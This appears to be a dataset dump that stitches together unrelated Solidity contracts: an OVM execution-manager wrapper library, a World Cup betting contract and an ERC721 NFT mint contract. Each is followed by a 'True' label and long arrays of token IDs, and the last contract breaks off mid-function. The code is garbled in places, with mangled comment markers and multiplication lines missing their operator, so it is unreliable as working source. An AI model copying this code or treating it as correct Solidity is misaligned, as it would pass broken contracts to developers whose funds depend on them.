Library Imports / import { Lib_ErrorUtils } from "../utils/Lib_ErrorUtils.sol"; /* * @title Lib_SafeExecutionManagerWrapper * @dev The Safe Execution Manager Wrapper provides functions which facilitate writing OVM safe * code using the standard solidity compiler, by routing all its operations through the Execution * Manager. * * Compiler used: solc * Runtime target: OVM / library Lib_SafeExecutionManagerWrapper { /********************* * Internal Functions * ********************/ / * Performs a safe ovmCALL. * @param _gasLimit Gas limit for the call. * @param _target Address to call. * @param _calldata Data to send to the call. * @return _success Whether or not the call reverted. * @return _returndata Data returned by the call. / function safeCALL( uint256 _gasLimit, address _target, bytes memory _calldata ) internal returns ( bool _success, bytes memory _returndata ) { bytes memory returndata = _safeExecutionManagerInteraction( abi.encodeWithSignature( "ovmCALL(uint256,address,bytes)", _gasLimit, _target, _calldata ) ); return abi.decode(returndata, (bool, bytes)); } /* * Performs a safe ovmDELEGATECALL. * @param _gasLimit Gas limit for the call. * @param _target Address to call. * @param _calldata Data to send to the call. * @return _success Whether or not the call reverted. * @return _returndata Data returned by the call. / function safeDELEGATECALL( uint256 _gasLimit, address _target, bytes memory _calldata ) internal returns ( bool _success, bytes memory _returndata ) { bytes memory returndata = _safeExecutionManagerInteraction( abi.encodeWithSignature( "ovmDELEGATECALL(uint256,address,bytes)", _gasLimit, _target, _calldata ) ); return abi.decode(returndata, (bool, bytes)); } /* * Performs a safe ovmCREATE call. * @param _gasLimit Gas limit for the creation. * @param _bytecode Code for the new contract. * @return _contract Address of the created contract. / function safeCREATE( uint256 _gasLimit, bytes memory _bytecode ) internal returns ( address, bytes memory ) { bytes memory returndata = _safeExecutionManagerInteraction( _gasLimit, abi.encodeWithSignature( "ovmCREATE(bytes)", _bytecode ) ); return abi.decode(returndata, (address, bytes)); } /* * Performs a safe ovmEXTCODESIZE call. * @param _contract Address of the contract to query the size of. * @return _EXTCODESIZE Size of the requested contract in bytes. / function safeEXTCODESIZE( address _contract ) internal returns ( uint256 _EXTCODESIZE ) { bytes memory returndata = _safeExecutionManagerInteraction( abi.encodeWithSignature( "ovmEXTCODESIZE(address)", _contract ) ); return abi.decode(returndata, (uint256)); } /* * Performs a safe ovmCHAINID call. * @return _CHAINID Result of calling ovmCHAINID. / function safeCHAINID() internal returns ( uint256 _CHAINID ) { bytes memory returndata = _safeExecutionManagerInteraction( abi.encodeWithSignature( "ovmCHAINID()" ) ); return abi.decode(returndata, (uint256)); } /* * Performs a safe ovmCALLER call. * @return _CALLER Result of calling ovmCALLER. / function safeCALLER() internal returns ( address _CALLER ) { bytes memory returndata = _safeExecutionManagerInteraction( abi.encodeWithSignature( "ovmCALLER()" ) ); return abi.decode(returndata, (address)); } /* * Performs a safe ovmADDRESS call. * @return _ADDRESS Result of calling ovmADDRESS. / function safeADDRESS() internal returns ( address _ADDRESS ) { bytes memory returndata = _safeExecutionManagerInteraction( abi.encodeWithSignature( "ovmADDRESS()" ) ); return abi.decode(returndata, (address)); } /* * Performs a safe ovmGETNONCE call. * @return _nonce Result of calling ovmGETNONCE. / function safeGETNONCE() internal returns ( uint256 _nonce ) { bytes memory returndata = _safeExecutionManagerInteraction( abi.encodeWithSignature( "ovmGETNONCE()" ) ); return abi.decode(returndata, (uint256)); } /* * Performs a safe ovmINCREMENTNONCE call. / function safeINCREMENTNONCE() internal { _safeExecutionManagerInteraction( abi.encodeWithSignature( "ovmINCREMENTNONCE()" ) ); } /* * Performs a safe ovmCREATEEOA call. * @param _messageHash Message hash which was signed by EOA * @param _v v value of signature (0 or 1) * @param _r r value of signature * @param _s s value of signature / function safeCREATEEOA( bytes32 _messageHash, uint8 _v, bytes32 _r, bytes32 _s ) internal { _safeExecutionManagerInteraction( abi.encodeWithSignature( "ovmCREATEEOA(bytes32,uint8,bytes32,bytes32)", _messageHash, _v, _r, _s ) ); } /* * Performs a safe REVERT. * @param _reason String revert reason to pass along with the REVERT. / function safeREVERT( string memory _reason ) internal { _safeExecutionManagerInteraction( abi.encodeWithSignature( "ovmREVERT(bytes)", Lib_ErrorUtils.encodeRevertString( _reason ) ) ); } /* * Performs a safe "require". * @param _condition Boolean condition that must be true or will revert. * @param _reason String revert reason to pass along with the REVERT. / function safeREQUIRE( bool _condition, string memory _reason ) internal { if (!_condition) { safeREVERT( _reason ); } } /* * Performs a safe ovmSLOAD call. / function safeSLOAD( bytes32 _key ) internal returns ( bytes32 ) { bytes memory returndata = _safeExecutionManagerInteraction( abi.encodeWithSignature( "ovmSLOAD(bytes32)", _key ) ); return abi.decode(returndata, (bytes32)); } /* * Performs a safe ovmSSTORE call. / function safeSSTORE( bytes32 _key, bytes32 _value ) internal { _safeExecutionManagerInteraction( abi.encodeWithSignature( "ovmSSTORE(bytes32,bytes32)", _key, _value ) ); } /******************** * Private Functions * *******************/ / * Performs an ovm interaction and the necessary safety checks. * @param _gasLimit Gas limit for the interaction. * @param _calldata Data to send to the OVM_ExecutionManager (encoded with sighash). * @return _returndata Data sent back by the OVM_ExecutionManager. */ function _safeExecutionManagerInteraction( uint256 _gasLimit, bytes memory _calldata ) private returns ( bytes memory _returndata ) { address ovmExecutionManager = msg.sender; ( bool success, bytes memory returndata ) = ovmExecutionManager.call{gas: _gasLimit}(_calldata); if (success == false) { assembly { revert(add(returndata, 0x20), mload(returndata)) } } else if (returndata.length == 1) { assembly { return(0, 1) } } else { return returndata; } } function _safeExecutionManagerInteraction( bytes memory _calldata ) private returns ( bytes memory _returndata ) { return _safeExecutionManagerInteraction( gasleft(), _calldata ); } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1014, 1012, 1019, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1063, 22834, 2615, 2213, 1035, 5416, 24805, 4590, 1065, 2013, 1000, 1012, 1012, 1013, 1012, 1012, 1013, 22834, 2615, 2213, 1013, 22616, 1013, 22834, 2615, 2213, 1035, 5416, 24805, 4590, 1012, 14017, 1000, 1025, 12324, 1063, 5622, 2497, 1035, 4769, 6072, 4747, 6299, 1065, 2013, 1000, 1012, 1012, 1013, 1012, 1012, 1013, 8860, 1013, 10663, 2099, 1013, 5622, 2497, 1035, 4769, 6072, 4747, 6299, 1012, 14017, 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pragma solidity ^0.4.11; contract Better{ event Bet(address indexed _from, uint team, uint _value); event Claim(address indexed _from, uint _value); event Transfer(address indexed _from, address indexed _to, uint _value); event LogManualWinnerUpdated(uint winner); //only informative states uint public constant STATE_BET_ENABLED=0; uint public constant STATE_BET_DISABLED=1; uint public constant STATE_CLAIM_ENABLED=2; uint private constant NO_TEAM=0; uint[33] private _pools; //pools[0] is reserved uint public DEV_TAX_DIVISOR; //example 1/4 = 25% uint public _startTime; //example=1522983600; //when WC starts and bets close uint public _endTime; //example=1522985400; //when WC ends and claims open uint private _totalPrize; uint private _winnerTeam; uint private _numberBets; address public creatorAddr; mapping (address => mapping (uint => uint)) private _bets; function Better(uint passDevTaxDivisor, uint passStartTime, uint passEndTime) public { creatorAddr=msg.sender; DEV_TAX_DIVISOR=passDevTaxDivisor; _startTime=passStartTime; _endTime=passEndTime; _winnerTeam=NO_TEAM; _totalPrize=0; _numberBets=0; for(uint i =0; i<33; i++)_pools[i]=0; //set all pool to 0 } modifier onlyCreator { require(msg.sender == creatorAddr); _; } modifier onlyBeforeWinner { require(_winnerTeam == NO_TEAM); _; } modifier onlyAfterWinner { require(_winnerTeam != NO_TEAM); _; } modifier onlyAfterEndTime() { require(now >= _endTime); _; } modifier onlyBeforeStartTime() { require(now <= _startTime); _; } function setWinnerManually(uint winnerTeam) public onlyCreator onlyBeforeWinner returns (bool){ _winnerTeam = winnerTeam; emit LogManualWinnerUpdated(winnerTeam); } function updateEndTimeManually(uint passEndTime) public onlyCreator onlyBeforeWinner returns (bool){ _endTime=passEndTime; } function updateStartTimeManually(uint passStartTime) public onlyCreator onlyBeforeWinner returns (bool){ _startTime=passStartTime; } function bet(uint team) public onlyBeforeWinner onlyBeforeStartTime payable returns (bool) { require(msg.value>0); require(team >0); uint devTax= SafeMath.div(msg.value,DEV_TAX_DIVISOR); uint finalValue=SafeMath.sub(msg.value,devTax); assert(finalValue>0 && devTax>0); creatorAddr.transfer(devTax); _pools[team]=SafeMath.add(_pools[team],finalValue); _bets[msg.sender][team]=SafeMath.add(_bets[msg.sender][team],finalValue); _totalPrize=SafeMath.add(_totalPrize,finalValue); _numberBets++; emit Bet(msg.sender,team,msg.value); return true; } function claim() public onlyAfterWinner onlyAfterEndTime returns (bool){ uint moneyInvested= _bets[msg.sender][_winnerTeam]; require(moneyInvested>0); uint moneyTeam= _pools[_winnerTeam]; uint aux= SafeMath.mul(_totalPrize,moneyInvested); uint wonAmmount= SafeMath.div(aux,moneyTeam); _bets[msg.sender][_winnerTeam]=0; msg.sender.transfer(wonAmmount); emit Claim(msg.sender,wonAmmount); return true; } function getMyBet(uint teamNumber) public constant returns (uint teamBet) { return (_bets[msg.sender][teamNumber]); } function getPools() public constant returns (uint[33] pools) { return _pools; } function getTotalPrize() public constant returns (uint prize){ return _totalPrize; } function getNumberOfBets() public constant returns (uint numberBets){ return _numberBets; } function getWinnerTeam() public constant returns (uint winnerTeam){ return _winnerTeam; } function getState() public constant returns (uint state){ if(now<_startTime)return STATE_BET_ENABLED; if(now<_endTime)return STATE_BET_DISABLED; else return STATE_CLAIM_ENABLED; } function getDev() public constant returns (string signature){ return 'chelinho139'; } function () public payable { throw; } // EgyptEgypt 1 // MoroccoMorocco 2 // NigeriaNigeria 3 // SenegalSenegal 4 // TunisiaTunisia 5 // AustraliaAustralia 6 // IR IranIR Iran 7 // JapanJapan 8 // Korea RepublicKorea Republic 9 // Saudi ArabiaSaudi Arabia 10 // BelgiumBelgium 11 // CroatiaCroatia 12 // DenmarkDenmark 13 // EnglandEngland 14 // FranceFrance 15 // GermanyGermany 16 // IcelandIceland 17 // PolandPoland 18 // PortugalPortugal 19 // RussiaRussia 20 // SerbiaSerbia 21 // SpainSpain 22 // SwedenSweden 23 // SwitzerlandSwitzerland 24 // Costa RicaCosta Rica 25 // MexicoMexico 26 // PanamaPanama 27 // ArgentinaArgentina 28 // BrazilBrazil 29 // ColombiaColombia 30 // PeruPeru 31 // UruguayUruguay 32 } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. / function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). / function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /* * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2340, 1025, 3206, 2488, 1063, 2724, 6655, 1006, 4769, 25331, 1035, 2013, 1010, 21318, 3372, 2136, 1010, 21318, 3372, 1035, 3643, 1007, 1025, 2724, 4366, 1006, 4769, 25331, 1035, 2013, 1010, 21318, 3372, 1035, 3643, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 1035, 2013, 1010, 4769, 25331, 1035, 2000, 1010, 21318, 3372, 1035, 3643, 1007, 1025, 2724, 8833, 2386, 8787, 10105, 3678, 6279, 13701, 2094, 1006, 21318, 3372, 3453, 1007, 1025, 1013, 1013, 2069, 12367, 8082, 2163, 21318, 3372, 2270, 5377, 2110, 1035, 6655, 1035, 9124, 1027, 1014, 1025, 21318, 3372, 2270, 5377, 2110, 1035, 6655, 1035, 9776, 1027, 1015, 1025, 21318, 3372, 2270, 5377, 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//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom( address from, address to, uint256 tokenId ) external; function transferFrom( address from, address to, uint256 tokenId ) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } abstract contract ReentrancyGuard { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } modifier nonReentrant() { require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); _status = _ENTERED; _; _status = _NOT_ENTERED; } } interface IERC721Receiver { function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract ERC165 is IERC165 { function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; string private _name; string private _symbol; mapping(uint256 => address) private _owners; mapping(address => uint256) private _balances; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId \|\| interfaceId == type(IERC721Metadata).interfaceId \|\| super.supportsInterface(interfaceId); } function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } function _baseURI() internal view virtual returns (string memory) { return ""; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } interface IERC721Enumerable is IERC721 { function totalSupply() external view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); function tokenByIndex(uint256 index) external view returns (uint256); } abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { mapping(address => mapping(uint256 => uint256)) private _ownedTokens; mapping(uint256 => uint256) private _ownedTokensIndex; uint256[] private _allTokens; mapping(uint256 => uint256) private _allTokensIndex; function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId \|\| super.supportsInterface(interfaceId); } function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; _ownedTokensIndex[lastTokenId] = tokenIndex; } delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; _allTokensIndex[lastTokenId] = tokenIndex; delete _allTokensIndex[tokenId]; _allTokens.pop(); } } library Counters { struct Counter { uint256 _value; } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } function totalShares() public view returns (uint256) { return _totalShares; } function totalReleased() public view returns (uint256) { return _totalReleased; } function shares(address account) public view returns (uint256) { return _shares[account]; } function released(address account) public view returns (uint256) { return _released[account]; } function payee(uint256 index) public view returns (address) { return _payees[index]; } function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + _totalReleased; uint256 payment = (totalReceived * _shares[account]) / _totalShares - _released[account]; require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] = _released[account] + payment; _totalReleased = _totalReleased + payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } } //██╗░░░░░░█████╗░██████╗░██╗░░░██╗░█████╗░ ░█████╗░██╗░░██╗░█████╗░██████╗░░██████╗ //██║░░░░░██╔══██╗██╔══██╗██║░░░██║██╔══██╗ ██╔══██╗██║░░██║██╔══██╗██╔══██╗██╔════╝ //██║░░░░░███████║██████╔╝╚██╗░██╔╝███████║ ██║░░╚═╝███████║███████║██║░░██║╚█████╗░ //██║░░░░░██╔══██║██╔══██╗░╚████╔╝░██╔══██║ ██║░░██╗██╔══██║██╔══██║██║░░██║░╚═══██╗ //███████╗██║░░██║██║░░██║░░╚██╔╝░░██║░░██║ ╚█████╔╝██║░░██║██║░░██║██████╔╝██████╔╝ //╚══════╝╚═╝░░╚═╝╚═╝░░╚═╝░░░╚═╝░░░╚═╝░░╚═╝ ░╚════╝░╚═╝░░╚═╝╚═╝░░╚═╝╚═════╝░╚═════╝░ contract LarvaChads is Ownable, PaymentSplitter, ERC721Enumerable { using SafeMath for uint256; using Counters for Counters.Counter; Counters.Counter private _tokenIds; string private _apiURI = ""; uint256 public _maxSupply = 5000; uint256 public _maxAmountToMint = 20; uint256 public _maxAmountToHold = 100; bool public _isMintingAllowed = false; uint256 public _itemPrice = 0.005 ether; uint256[] private _shares = [100]; address[] private _shareholders = [ 0x1B65a9816EF95229ACC3384E67956A7dFaB2b87c ]; modifier mintingAllowed() { require( _isMintingAllowed, "Minting not allowed" ); _; } modifier enoughFunds(uint256 _amountToMint) { require( msg.value >= _itemPrice.mul(_amountToMint), "Insufficient funds" ); _; } modifier limitTokensToMint(uint256 _amountToMint) { require(_amountToMint <= _maxAmountToMint, "Too many tokens at once"); _; } modifier limitTokensToHold(uint256 _amountToMint) { if (!_isMintingAllowed) { require( balanceOf(msg.sender).add(_amountToMint) <= _maxAmountToHold, "Tokens limit reached" ); } _; } modifier limitSupply(uint256 _amountToMint) { require( _maxSupply >= _tokenIds.current().add(_amountToMint), "The purchase would exceed max tokens supply" ); _; } constructor() PaymentSplitter(_shareholders, _shares) ERC721("Larva Chads", "LChads") {} function _mintMultiple(uint256 _amountToMint) private { for (uint256 i = 0; i < _amountToMint; i++) { _tokenIds.increment(); _safeMint(msg.sender, _tokenIds.current()); } } function mintMultiple(uint256 _amountToMint) public payable mintingAllowed limitSupply(_amountToMint) enoughFunds(_amountToMint) limitTokensToHold(_amountToMint) 